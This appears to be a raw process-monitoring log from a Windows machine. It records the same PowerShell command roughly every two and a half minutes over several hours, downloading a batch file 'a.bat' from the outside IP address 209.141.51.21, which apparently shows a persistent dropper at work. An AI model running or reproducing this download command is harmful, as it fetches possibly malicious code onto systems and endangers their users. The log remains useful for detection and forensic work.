C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:44:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:47:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:49:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:52:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:54:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:57:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:59:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:02:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:04:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:07:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:09:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:12:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:14:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:17:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:19:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:22:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:24:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:27:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:29:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:32:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:34:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:37:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:39:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:42:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:44:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:47:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:49:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:52:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:54:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:57:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 12:59:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:02:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:04:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:07:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:09:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:12:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:14:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:17:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:19:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:22:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:24:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:27:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:29:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:32:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:34:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:37:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:39:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:42:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:44:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:47:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:49:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:52:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:54:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:57:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 13:59:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:02:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:04:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:07:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:10:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:12:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:15:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:17:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:20:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:22:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:25:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:27:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:30:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:32:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:35:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:37:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:40:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:42:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:45:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:47:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:50:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:52:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:55:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 14:57:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:00:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:02:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:05:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:07:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:10:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:12:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:15:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:17:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:20:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:22:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:25:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:27:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:30:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:32:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:35:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:37:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:40:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:42:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:45:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:47:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:50:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:52:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:55:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 15:57:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:00:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:02:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:05:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:07:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:10:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:12:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:15:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:17:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:20:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:22:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:25:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:27:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:30:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:32:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:35:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:37:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:40:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:42:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:45:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:47:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:50:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:52:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:55:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 16:57:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:00:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:02:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:05:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:07:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:10:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:12:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:15:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:17:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:20:20 NOTIFY: PROCESS 